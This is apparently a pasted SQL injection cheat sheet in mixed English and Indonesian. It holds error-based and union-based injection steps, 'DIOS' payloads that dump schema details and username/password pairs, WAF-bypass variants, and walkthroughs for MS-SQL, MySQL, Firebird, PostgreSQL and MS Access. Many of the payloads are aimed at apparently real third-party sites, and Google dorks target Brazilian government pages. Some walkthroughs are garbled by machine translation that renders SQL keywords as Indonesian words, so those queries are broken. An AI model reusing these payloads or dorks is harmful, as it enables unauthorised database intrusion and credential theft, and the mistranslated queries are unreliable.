  1458. ...syntax to use near 'union select 1,2,3,4,5,6,7,8,9' at line 1...
  1459.  
  1460. its version 3,use this one
  1461.  
  1462. +or+1+group+by+concat(concat_ws(0x7c,version(),database(),user()),floor(rand(0)*?2))+having+min(0)+or+1--+-
  1463.  
  1464.  
  1465. Error Based Injection
  1466. ---------------------
  1467. Error based injection is deployed on databases which is powered by MS-SQL.
  1468.  
  1469. Database: MY-SQL : PHP
  1470. MS-SQL : .asp or .aspx
  1471.  
  1472. Probelm with Error Based Injection for a Hacker
  1473. -----------------------------------------------
  1474. 1. Version() and database() not works!!
  1475. Solution : @@version
  1476.  
  1477. 2. You can not call all the tables from the given database through information_schema.
  1478.  
  1479. 3. You cannot extract columns of your target table in a go.
  1480.  
  1481. Why it is known as Error Based Injection
  1482. -----------------------------------------
  1483. It means you will get the data in an error.
  1484.  
  1485. Target : vulnweb.com : It is practice framework from a company called Acunetix.
  1486.  
  1487. It has all MY-SQL and MS-SQL technology attack practices.
  1488.  
  1489. Step 1: Get any GET method in the URL of the website. I.e We have to look for any SOmethoing=Something.
  1490. http://testasp.vulnweb.com/showforum.asp?id=0
  1491.  
  1492. Step 2: Check the exception handling.
  1493. http://testasp.vulnweb.com/showforum.asp?id=0'
  1494.  
  1495. Step 3: Check the conditions required for further attack.
  1496. http://testasp.vulnweb.com/showforum.asp?id=0 and 1=0;
  1497.  
  1498. NOte : Error Based Injection works on LIFO rule. Last in First out.
  1499.  
  1500. For Example: If we have a database with tables like followings
  1501. threads -> 1
  1502. teacher->2
  1503. classes->3
  1504. fee->4
  1505. users->5
  1506.  
  1507. Step 4: http://testasp.vulnweb.com/showforum.asp?id=0 and
  1508. 1=convert(int,(select top 1 table_name from information_schema.tables));
  1509.  
  1510. Got Table : 'threads' X
  1511. http://testasp.vulnweb.com/showforum.asp?id=0 and
  1512. 1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in ('threads')));
  1513.  
  1514. Target : 'users'
  1515.  
  1516. Step 5: Get the respective columns of the users table
  1517. http://testasp.vulnweb.com/showforum.asp?id=0 and
  1518. 1=convert(int,(select top 1 column_name from information_schema.columns where table_name='users' and column_name not in ('uname')));
  1519.  
  1520. Target Column : uname, upass
  1521.  
  1522. Step 6: Get the uname and upass
  1523. http://testasp.vulnweb.com/showforum.asp?id=0 and
  1524. 1=convert(int,(select top 1 upass from users));
  1525.  
  1526. uname:admin
  1527. upass: none
  1528.  
  1529. ~h
  1530.  
  1531.  
  1532. D I O S B Y P A S S
  1533.  
  1534. DIOS MRFMR
  1535. concat(0x494e4a454354204259204d522e464d52,0x3c62723e,/*!00000/*!00000(select(@x)from(select(@x:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=concat+(@x,0x3c62723e,database(),0x3a3a,table_name,0x203a3a20,column_name))))x)*/)
  1536.  
  1537. DIOS MRFMR WAF
  1538. /*!00000concat*/(0x3C666F6E7420666163653D224963656C616E6422207374796C653D22636F6C6F723A7265643B746578742D736861646F773A307078203170782035707820233030303B666F6E742D73697A653A33307078223E496E6A6563746564206279204D722E464D5220782054333735344B315431203C2F666F6E743E3C62723E3C62723E3C666F6E7420636F6C6F723D626C61636B2073697A653D353E44622056657273696F6E203A20,version(),0x3c62723e44622055736572203a20,user(),0x3C62723E2053796D203A,@@HAVE_SYMLINK,0x3c62723e3c62723e3c2f666f6e743e3c7461626c6520626f726465723d2231223e3c74686561643e3c74723e3c74683e44617461626173653c2f74683e3c74683e5461626c653c2f74683e3c74683e436f6c756d6e3c2f74683e3c2f74686561643e3c2f74723e3c74626f64793e,(select%20(@x)%20/*!00000from*/%20(select%20(@x:=0x00),(select%20(0)%20/*!00000from*/%20(information_schema/**/.columns)%20where%20(table_schema!=0x696e666f726d6174696f6e5f736368656d61)%20and%20(0x00)%20in%20(@x:=/*!00000concat*/(@x,0x3c74723e3c74643e3c666f6e7420636f6c6f723d7265642073697a653d333e266e6273703b266e6273703b266e6273703b,table_schema,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d677265656e2073697a653d333e266e6273703b266e6273703b266e6273703b,table_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c74643e3c666f6e7420636f6c6f723d626c75652073697a653d333e,column_name,0x266e6273703b266e6273703b3c2f666f6e743e3c2f74643e3c2f74723e))))x))
  1539.  
  1540. DIOS WAF
  1541. (Select export_set(5,@:=0,(select count(*)from(information_schema.columns)where@:=export_set(5,export_set(5,@,table_name,0x3c6c693e,2),column_name,0xa3a,2)),@,2))
  1542.  
  1543. DIOS SULE
  1544. Concat(0x3c43656e7465723e,0x3c466f6e7420436f6c6f723d22526564223e,0x3c62723e,0x3c62723e,0x3c62723e,0x3c62723e,0x4696e6a6563746564206279202e2f53756c6547616e73,0x3c62723e,0x3c62723e,0x566572736920,0x3a,Version(),0x3c62723e,0x446174616261736520,0x3a,Database(),0x3c62723e,0x5573657220,0x3a,User(),@C:=0x00,If((Select+Count(*)+From+Information_Schema.Columns+Where+Table_Schema=Database()+And+@C:=Concat(@C,0x3c62723e,Table_Name,0x3a,Column_Name)),0x00,0x00),@c,0x3c2f466f6e743e,0x3c2f43656e7465723e)
  1545.  
  1546. DUMP
  1547. (SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM(namadb.namatable)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,0x7e,password,0x3c62723e))))x)
  1548.  
  1549. (/*!50000SELECT(@x*/)/*!50000FROM*/(/*!50000SELECT(@x:=0x00*/) ,(/*!50000SELECT(@x*/)/*!50000FROM*/(miat_web2014.tbladmin)/*!50000WHERE*/(@x)/*!50000IN*/(@x:=/*!50000CONCAT*/(0x20,@x,adminName,0x7e,adminpass,0x3c62723e))))x)
  1550.  
  1551. LOKOMEDIA
  1552. 'union+select+make_set(6,@:=0x0a,(select(1)from(users)where@:=make_set(511,@,0x3C6C693E,username,password)),@)--+
  1553.  
  1554. DIOS WAF MOD SECURITY
  1555. /*!50000CONCAT*/(0x3c43656e7465723e,0x496e6a656374696f6e204279204d72765f323331,0x3c62723e,0x3c62723e,version/***/(),0x3c62723e,database/**/(),0x3c62723e,user/**/(),@C:=0x3c62723e,If((/!50000Select*/+Count()+/!50000From*/+/*!50000Information_Schema*/.Columns+/*!50000Where*/+Table_Schema=database/***/()+And+@C:=/!50000CONCAT*/(@C,0x3c62723e,/*!50000Table_Name*/,0x3a,0x3a,0x3a,0x3a,/*!50000Column_Name*/)),0x3a,0x00),@C)
  1556.  
  1557. ~hl
  1558.  
  1559.  
  1560. Beberapa injector hanya memakai query bypass tanpa menganalisa bagian kata yg di block oleh WAF ( Web Aplication Firewall )
  1561.  
  1562. Sebelum nya Testing dlu :D
  1563.  
  1564. kalau Order by ga work . coba pakai group+by :D
  1565.  
  1566. http://www.webshit.com/vulnscript.php?id=1+order+by+1--+-
  1567.  
  1568. http://www.webshit.com/vulnscript.php?id=1+group+by+1--+-
  1569.  
  1570. ----------------------------------------
  1571.  
  1572. http://www.webshit.com/vulnscript.php?id=1+union--+- [waf]
  1573.  
  1574. http://www.webshit.com/vulnscript.php?id=1+select--+- [No waf]
  1575.  
  1576. brarti fungsi union di block .
  1577. kita coba bypass dngan kombinasi Uppercase dan lowercase .
  1578.  
  1579. http://www.webshit.com/vulnscript.php?id=1+uNiOn--+- [waf Bypassed]
  1580.  
  1581. atau klo masih kena Waf
  1582.  
  1583. http://www.webshit.com/vulnscript.php?id=2 /*!uNiOn*/--+-
  1584.  
  1585. atau
  1586.  
  1587. http://www.webshit.com/vulnscript.php?id=1+/*!50000uNiOn*/--+-
  1588.  
  1589. okay bypassed :D
  1590.  
  1591. -------------------------------------
  1592.  
  1593. tahap berikut nya Union Select
  1594.  
  1595. http://www.webshit.com/vulnscript.php?id=1+union--+- [no waf]
  1596.  
  1597. http://www.webshit.com/vulnscript.php?id=1+select--+- [no waf]
  1598.  
  1599. tapi saat
  1600.  
  1601. http://www.webshit.com/vulnscript.php?id=1+union+select--+- [Waf]
  1602.  
  1603. brarti Waf block kombinasi kata union select ..
  1604.  
  1605. kita bs bypass dgn
  1606.  
  1607. http://www.webshit.com/vulnscript.php?id=1+union+distinctROW+select--+-
  1608.  
  1609. atau
  1610.  
  1611. http://www.webshit.com/vulnscript.php?id=1+union%23%0aselect--+-
  1612.  
  1613. yuhuu Bypassed :D
  1614.  
  1615. ---------------------------------------
  1616.  
  1617. Bypass dengan url Encode jg bs
  1618.  
  1619. http://www.webshit.com/vulnscript.php?id=1+%75Nion+%73eLect--+-
  1620.  
  1621. %75 = u
  1622. %73 = s
  1623.  
  1624. ----------------------------------------
  1625.  
  1626. http://www.webshit.com/vulnscript.php?id=1+/*!50000union*/ DISTINCTROW /*!50000select*/+1--+- [no waf]
  1627.  
  1628. http://www.webshit.com/vulnscript.php?id=1+/*!50000union*/ DISTINCTROW /*!50000select*/+1,2--+- [waf]
  1629.  
  1630. Hmm ketika menambah (,) kena waf , brarti koma harus dibypass :D
  1631.  
  1632. http://www.webshit.com/vulnscript.php?id=1+/*!50000union*/ DISTINCTROW /*!50000select*/+1,~~2--+- [bypassed]
  1633.  
  1634. http://www.webshit.com/vulnscript.php?id=1+/*!50000union*/ DISTINCTROW /*!50000select*/+1,~~2,~~3,~~4,~~5--+- [bypassed]
  1635.  
  1636. atau
  1637.  
  1638. http://www.webshit.com/vulnscript.php?id=1+uNiOn(/**_**/(seLeCt(1),(2),(3),(4),(5))-- - [bypassed]
  1639.  
  1640. atau dgn method join :v
  1641.  
  1642. ----------------------------------------
  1643.  
  1644. beberapa injector menggunakan UnionOnOn / informationmation_schema_schema tnpa tau maksud query itu :p
  1645.  
  1646. oke skrang kita cari tau :v
  1647.  
  1648. live target :
  1649.  
  1650. http://zixem.altervista.org/SQLi/level3.php?item=3'+union--+-
  1651.  
  1652. hasil :
  1653.  
  1654. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'uni-- -'' at line 1
  1655.  
  1656. dari situ kita bs liat kalau "on" pada "union" hilang :v
  1657.  
  1658. bagaimana bypass nya ??
  1659.  
  1660. tambahin aja on di union nya jadi unionon :v
  1661.  
  1662. http://zixem.altervista.org/SQLi/level3.php?item=3'+unionon--+-
  1663.  
  1664. wokee bypassed :D
  1665.  
  1666. selanjutnya sperti biasa
  1667.  
  1668. http://zixem.altervista.org/SQLi/level3.php?item=3%27+and+0+unionon+select+concat(%27versailles%20::%20%27,version()),2,4,5--+-
  1669.  
  1670. ###############################
  1671. Alternativ bypass union select jika langkah diatas blm bs bypass .
  1672.  
  1673. uni<>on sel<>ect
  1674.  
  1675. uni*on sel*ect
  1676.  
  1677. (uni)(on) (sel)(ect)
  1678.  
  1679. uni[]on sel[]ect
  1680.  
  1681. uni\on sel\ect
  1682. ###############################
  1683.  
  1684. Thanks
  1685.  
  1686.  
  1687.  
  1688. SQLI Tutorial - Beginners
  1689.  
  1690. http://www.ikar.ru/eng/research.php?id=1+and+1=0+union+select+1,2,concat(Login,0x3a,Password,0x3a,Status),4,5+FROM+Users+limit+0,1
  1691.  
  1692. http://www.njgsca.org/blog.php?id=-1+union+select+1,username,3,4,5,6,7%20from%20users
  1693.  
  1694. -h
  1695.  
  1696. SQL INJECTION BYPASSES TRICKS :)
  1697.  
  1698. 1-?name=Thomas'%20GROUP%20BY%20100%20asc%23
  1699.  
  1700. 2-?name=Thomas'-%20.1GROUP%20BY%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100%20asc%23
  1701.  
  1702. 3-?name=Thomas'- .1/*!50000group*/%23aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  1703. aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  1704. aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  1705. aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  1706. aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  1707. aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  1708. aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  1709. aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  1710. aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  1711. aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  1712. aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  1713. aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
  1714. aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%0aby --+%0A100;%00
  1715.  
  1716. 4-?name=Thomas'- .1INTO @%60
  1717. 4,1-?name=Thomas'- .1INTO @,@%60
  1718. 4,2-?name=Thomas'- .1INTO @,@,@--
  1719. 4,3-?name=Thomas'- .1INTO @,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@
  1720. ,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@
  1721. ,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@,@ ;%00
  1722.  
  1723. 5-?name=Thomas'- .1/*!50000group*//*** ^ ***/By --+%0A100;%00
  1724.  
  1725. 6-?name=Thomas'orderby100--- (let me know if you get normal error here no waf)
  1726.  
  1727. Retrieving Columns By Using PROCEDURE ANALYSE()
  1728.  
  1729. 7-?name=Thomas' PROCEDURE ANALYSE() Get the first column's name
  1730. 7,1-?name=Thomas' LIMIT 1,1 PROCEDURE ANALYSE() Get the second column's name
  1731. 7,2-?name=Thomas' LIMIT 2,1 PROCEDURE ANALYSE() Get the third column's name
  1732.  
  1733. 8-?name=Thomas',0;--+;%00 <<< Play Here With Zero Number >>> 0;--+;%00
  1734.  
  1735. 0;--+;%00
  1736. 1;--+;%00
  1737. 2;--+;%00
  1738.  
  1739. ETC.
  1740.  
  1741. 9-?name=Thomas'%0D%0Aorder%0D%0Aby 100--
  1742.  
  1743. 10-?name=Thomas'%0Bgroup%0Bby%0A1,2%23
  1744.  
  1745. 11-?name=Thomas'/*!50000union*/-- (let me know if you get normal error here no waf)
  1746.  
  1747. 12-?name=Thomas' or .0union/**/distinctrow%23GearFourthBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB%0aselect/**/distinctrow-1--
  1748.  
  1749. 13-?name=Thomas'%23GearFourthBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB%0aunion-- (let me know if you get normal error here no waf)
  1750.  
  1751. 14-?name=Thomas'%20And .0UnIOn--%20-%0ASeLe%43t-1--
  1752.  
  1753. 15?name=Thomas'%75%6e%69%6f%6e--%20-%0%73%65%6c%65%63%74-1--
  1754.  
  1755. 16-?name=Thomas'||!{f`id`}union-- a%0Aselect@--
  1756.  
  1757. 17-?name=Thomas'||!{f`id`}/*!00000union*/-- (let me know if you get normal error here no waf)
  1758.  
  1759. 18-?name=LlRob21hcydHcm95cCBieSAxMDAtLSAt (let me know what happen here)
  1760.  
  1761. -rkx
  1762.  
  1763. CATEGORIES: SQL INJECTION
  1764.  
  1765. inurl:"gov.br" & inurl:"id=" & intext:"warning: mysql_fetch_assoc()
  1766.  
  1767. inurl:"gov.br" & inurl:"id=" & intext:"warning: mysql_fetch_array()
  1768.  
  1769. inurl:"gov.br" & inurl:"id=" & intext:"warning: mysql_num_rows()
  1770.  
  1771. inurl:"gov.br" & inurl:"id=" & intext:"warning: session_start()
  1772.  
  1773. inurl:"gov.br" & inurl:"id=" & intext:"warning: getimagesize()
  1774.  
  1775. inurl:"gov.br" & inurl:"id=" & intext:"warning: is_writable()
  1776.  
  1777. inurl:"gov.br" & inurl:"id=" & intext:"warning: unknown()
  1778.  
  1779. inurl:"gov.br" & inurl:"id=" & intext:"warning: mysql_result()
  1780.  
  1781. inurl:"gov.br" & inurl:"id=" & intext:"warning: pg_exec()
  1782.  
  1783. inurl:"gov.
  1784.  
  1785. You can change the domain what ever you want :)
  1786.  
  1787. -h
  1788.  
  1789. INTERBASE - FIREBIRDSQL
  1790.  
  1791. http://www.hca.aer.mil.br/externo/index.php?pag=noticias/exibir_noticias.php?id=361/**/and/**/1=user
  1792.  
  1793. http://www.hca.aer.mil.br/externo/index.php?pag=noticias/exibir_noticias.php?id=361/**/and/**/1=(select/**/first/**/1/**/rdb$field_name/**/from/**/rdb$relation_fields)--
  1794.  
  1795. http://www.infomedia.by/image.php?operator=2)+and+1=2+union+select+rdb$field_name,2+from+rdb$relation_fields -
  1796.  
  1797. http://www.infomedia.by/image.php?operator=2)+and+1=(select+first+1+rdb$relation_name+from+rdb$relation_fields) -
  1798.  
  1799. http://www.infomedia.by/image.php?operator=2)+and+1=(select+first+1+distinct+rdb$relation_name+from+rdb$relations+where+rdb$system_flag=0) -
  1800.  
  1801. http://www.infomedia.by/image.php?operator=2)+and+1=(select+first+1+skip+n+distinct+rdb$relation_name+from+rdb$relations+where+rdb$system_flag=0) -
  1802. http://www.infomedia.by/image.php?operator=2)+and+1=(select+first+1+skip+n+rdb$field_name+from+rdb$relation_fields+where+rdb$system_flag=0+and+rdb$relation_name=ascii_char(83)||ascii_char(85)||ascii_char(66)||ascii_char(83)) -
  1803.  
  1804. http://www.infomedia.by/image.php?operator=2)+and+1=(select+first+1+skip+0+distinct+cast(id||name+as+char(777))+from+autor) -
  1805.  
  1806. http://www.infomedia.by/image.php?operator=2)+and+substring((select+first+1+rdb$relation_name+from+rdb$relation_fields)+from+n+for+1)!=ascii_char(63)+and+(1=1))
  1807.  
  1808. http://www.ppc4all.com/category.php?cat=(select+first+1+user+from+rdb$relation_fields)
  1809.  
  1810.  
  1811. rdb$relation_name - name of the table
  1812. rdb$system_flag - belong to the system table (a good way of screening, 1 = System)
  1813. rdb$field_name - obvious from the name
  1814. rdb$system_flag - the same
  1815. rdb$field_position - the serial number field
  1816. rdb$relation_name, rdb $ base_field - define table names
  1817.  
  1818. ©
  1819. -h
  1820.  
  1821. Langkah-1: Memulai dengan Berbasis Union:
  1822.  
  1823. Setiap db menggunakan prinsip yang sama untuk menarik data keluar dari db ofcourse itu pilih menggunakan nama kolom yang tepat.
  1824.  
  1825. Saya tidak akan menjelaskan tentang pilih sebab yang saya tahu tentang itu.
  1826.  
  1827.  
  1828. Langkah-2: Memeriksa Target Untuk Vunl.
  1829.  
  1830. Kode:
  1831. http://www.crookedtree.org/index.php?catid=583 '
  1832.  
  1833. kesalahan telah terjadi dengan database! SELECT *
  1834. DARI bus_kategori
  1835. MANA id = 583 \ '
  1836.  
  1837. Kesalahan MYSQL dengan MYSQL atau MS SQL dengan SQL atau ORACLE dengan ORA atau MS ACCESS dengan Jet dan
  1838. Peringatan: pg_exec () [function.pg-exec] <== PostgreSQL ATAU kesalahan seperti di atas.
  1839.  
  1840.  
  1841. Langkah-3: Mendapatkan Jumlah Kolom
  1842.  
  1843. Untuk Mendapatkan kolom, kami menggunakan metode yang sama yang digunakan dalam urutan db lain dengan kami menggunakan - atau # untuk komentar.
  1844.  
  1845. Kode:
  1846. http://www.crookedtree.org/index.php?catid=583 pesanan dengan 1-- <== tidak ada kesalahan
  1847. http://www.crookedtree.org/index.php?catid=583 pesanan oleh 2-- <== tidak ada kesalahan
  1848. http://www.crookedtree.org/index.php?catid=583 pesanan sebesar 3-- <== tidak ada kesalahan
  1849. http://www.crookedtree.org/index.php?catid=583 pesanan sebesar 4-- <== tidak ada kesalahan
  1850.  
  1851. Kami akan melakukan increament of 1 hingga mendapatkan kesalahan dan kami memiliki kesalahan pada kolom ke-14.
  1852.  
  1853. Itu berarti kita memiliki 13 kolom (error_column_num - 1) = 13.
  1854.  
  1855. Metode lain mengeksekusi query dengan union dan masuk ke kolom I.E
  1856.  
  1857. Kode:
  1858. http://www.crookedtree.org/index.php?catid=-583 union pilih null-- <== kesalahan
  1859. http://www.crookedtree.org/index.php?catid=-583 union pilih null, null-- <== kesalahan
  1860. http://www.crookedtree.org/index.php?catid=-583 union pilih null, null, null-- <== kesalahan
  1861.  
  1862. Kami akan terus menambahkan nol hingga kami mendapatkan halaman kosong atau situs yang dimuat. Metode ini benar-benar anoying Big Grin.
  1863.  
  1864.  
  1865. Langkah-4: Mendapatkan Data untuk Kolom Visble.
  1866.  
  1867. Istilah sebagian besar penggunaan ppl adalah kolom vuln. Sama seperti injeksi Oracle, kita akan menggunakan tipe data Null untuk kolom.
  1868.  
  1869. Pertanyaannya adalah mengapa ????? Karena kita tidak tahu tentang datatype sehingga menggunakan datatype null akan melakukan trik untuk kita.
  1870. dan tentu saja beberapa situs memang memiliki nilai interger sehingga akan digunakan sebagai sebaliknya.
  1871.  
  1872. Kode:
  1873. http://www.crookedtree.org/index.php?catid=-583 UNION PILIH null, null, null, null, null, null, null, null,
  1874. null, null, null, null, null--
  1875.  
  1876. Sekarang dapat melihat halaman dimuat dengan kesalahan keluar (beberapa waktu dimuat tetapi konten yang hilang seperti di situs ini).
  1877.  
  1878. Sekarang apa tapi tidak bisa melihat cetak coulmn di layar. Mari kita lanjutkan dengan nilai interger tetapi 0.
  1879.  
  1880. Kode:
  1881. http://www.crookedtree.org/index.php?catid=-583 UNION SELECT 0, null, null, null, null, null, null, null,
  1882. null, null, null, null, null-- <== tidak ada kesalahan
  1883. http://www.crookedtree.org/index.php?catid=-583 UNION SELECT 0,0, null, null, null, null, null, null,
  1884. null, null, null, null, null-- <== tidak ada kesalahan
  1885. http://www.crookedtree.org/index.php?catid=-583 UNION SELECT 0,0,0, null, null, null, null, null,
  1886. null, null, null, null, null-- <== kesalahan
  1887. http://www.crookedtree.org/index.php?catid=-583 UNION SELECT 0,0, null, 0, null, null, null, null,
  1888. null, null, null, null, null-- <== kesalahan
  1889.  
  1890. Akan terus mengganti nol dengan nilai interget "0" sampai mendapat kesalahan. Wow kami memiliki kesalahan pada kolom ke-3 dan ke-4, ada kolom lain yang juga tetapi kami berhenti di sini dan pindah ke langkah berikutnya.
  1891.  
  1892. Ini yang kami cari.
  1893.  
  1894.  
  1895. Langkah-5: Mendapatkan Versi DB
  1896.  
  1897. Sekarang permintaan kami akan sama dengan nol kecuali kolom keempat, akan menggantikannya dengan versi.
  1898.  
  1899. Kode:
  1900. http://www.crookedtree.org/index.php?catid=-583 UNION SELECT null, null, null, version (), null, null, null, null,
  1901. null, null, null, null, null--
  1902.  
  1903. PostgreSQL 8.2.9 pada x86_64-pc-linux-gnu, yang dikompilasi oleh GCC cc (GCC) 4.1.2 (Ubuntu 4.1.2-0ubuntu4)
  1904.  
  1905. Sekarang sudah mendapat versi db Big Grin.
  1906.  
  1907.  
  1908. Langkah-6: Mendapatkan DBz dan Tabel Skema lainnya
  1909.  
  1910. Saya akan memeriksa apakah target ini memiliki db lain atau tidak
  1911.  
  1912. Kode:
  1913. http://www.crookedtree.org/index.php?catid=-583 UNION PILIH null, null, null, datname, null, null, null, null,
  1914. null, null, null, null, null DARI pg_database--
  1915.  
  1916. AAA <== db
  1917.  
  1918. kita hanya melihat satu database pada satu waktu, Sekarang apa yang harus dilakukan hmmm bagaimana menggunakan batas untuk mendapatkan orang lain Big Grin.
  1919.  
  1920. Kode:
  1921. http://www.crookedtree.org/index.php?catid=-583 UNION PILIH null, null, null, datname, null, null, null,
  1922. null, null, null, null, null, null DARI pg_database LIMIT 1 OFFSET 1--
  1923.  
  1924. LIMIT 1 OFFSET 1 <== nilai OFFSET. Jika kita terus mengubah nilai ini maka kita akan mendapatkan db Big Grin berikutnya seperti 1 2 3 .....
  1925.  
  1926. Saya akan menjelaskan cara menggunakan db lain untuk injeksi di tutz lain. Sekarang kita akan pindah ke injeksi kami.
  1927.  
  1928. Langkah-6.1: Sekarang Memperoleh Tabel Skema.
  1929.  
  1930. Kode:
  1931. http://www.crookedtree.org/index.php?catid=-583 UNION PILIH null, null, null,
  1932. table_name, null, null, null, null, null, null, null, null, null DARI INFORMATION_SCHEMA.TABLES--
  1933.  
  1934. buku tambahan
  1935.  
  1936. Bad thing is cant concat hehehe aah jadi apa yang harus dilakukan sekarang. Kami harus menggunakan batas. Saya sudah jelaskan
  1937. bagaimana cara menggunakannya .
  1938.  
  1939. Kode:
  1940. http://www.crookedtree.org/index.php?catid=-583 UNION PILIH null, null, null,
  1941. table_name, null, null, null, null, null, null, null, null, null DARI INFORMATION_SCHEMA.TABLES batas 1 offset 3--
  1942.  
  1943. artist_entry
  1944.  
  1945. ATAU Tabel Dari Skema DB Saat Ini
  1946.  
  1947. Kode:
  1948. http://www.crookedtree.org/index.php?catid=-583 UNION PILIH null, null, null, table_name, null, null,
  1949. null, null, null, null, null, null, null DARI INFORMATION_SCHEMA.TABLES dimana table_schema = current_schema ()
  1950. limit 1 offset 0--
  1951.  
  1952. buku tambahan
  1953.  
  1954. Hanya
  1955.  
  1956. MS-ACCESS INJECTION TUTORIAL
  1957.  
  1958. Jadi kita akan memulai Penyuntikan Kita Secara Manual. Pertama kita harus memeriksa apakah situs Target kami Rentan. Jadi kita akan menggunakan Jenis Penginjeksian biasa dan menambahkan Single Quote 'di bagian akhir Parameter.
  1959.  
  1960. dan Jalankan URL
  1961.  
  1962. http://www.Vuln-Site.com/dettaglio-news.asp?ID=341 '
  1963. Di sini kami mendapat ERROR! !
  1964.  
  1965. KESALAHAN:
  1966. Kesalahan Microsoft JET Database Engine '80040e14'
  1967. Kesalahan sintaks dalam string dalam ekspresi query 'ID = 341' '.
  1968. /dettaglio-news.asp, baris 91
  1969. Jadi Target Kami Rentan. Sebelum Memulai Proses Lain terlebih dahulu, kami harus menyeimbangkan permintaan kami. Kami akan menggunakan Berbagai Komentar untuk menyeimbangkan Permintaan Kami.
  1970.  
  1971. http://www.Vuln-Site.com/dettaglio-news.asp?ID=341--+ Kesalahan!
  1972.  
  1973. KESALAHAN: Kesalahan sintaks (operator tidak ada) dalam ekspresi kueri 'ID = 341--'.
  1974.  
  1975. http://www.Vuln-Site.com/dettaglio-news.asp?ID=341-- Lagi Kesalahan !!
  1976.  
  1977. Sekarang, mari kita periksa null-byte ";% 00"
  1978. http://www.Vuln-Site.com/dettaglio-news.asp?ID=341;% 00 Kesalahan Hilang !!
  1979. jadi akan melanjutkan Injecting Kami Dengan menggunakan Null-Byte di bagian akhir Parameter.
  1980.  
  1981. Sekarang kita harus menghitung Jumlah Kolom. Jadi Untuk Tujuan Ini kita akan menggunakan perintah ORDER BY Biasanya.
  1982. Mari Periksa Jumlah Kolom:
  1983. http://www.Vuln-Site.com/dettaglio-news.asp?ID=341 pesanan sebesar 1;% 00
  1984. Tidak Ada Kesalahan. Halaman Dimuat Secara Normal!
  1985.  
  1986. http://www.Vuln-Site.com/dettaglio-news.asp?ID=341 pesanan sebesar 5;% 00
  1987. Sekali lagi Tidak Ada Kesalahan!
  1988.  
  1989. http://www.Vuln-Site.com/dettaglio-news.asp?ID=341 pesanan sebesar 8;% 00
  1990. Lagi halaman Loaded Biasanya!
  1991.  
  1992. tetapi pada pesanan jam 9 kami sudah mendapat ERROR!
  1993. http://www.Vuln-Site.com/dettaglio-news.asp?ID=341 pesanan sebesar 9;% 00
  1994.  
  1995. KESALAHAN:
  1996. Kesalahan Microsoft JET Database Engine '80040e14'
  1997. Mesin database Microsoft Jet tidak mengenali '9' sebagai nama atau ekspresi lapangan yang valid.
  1998. /dettaglio-news.asp, baris 91
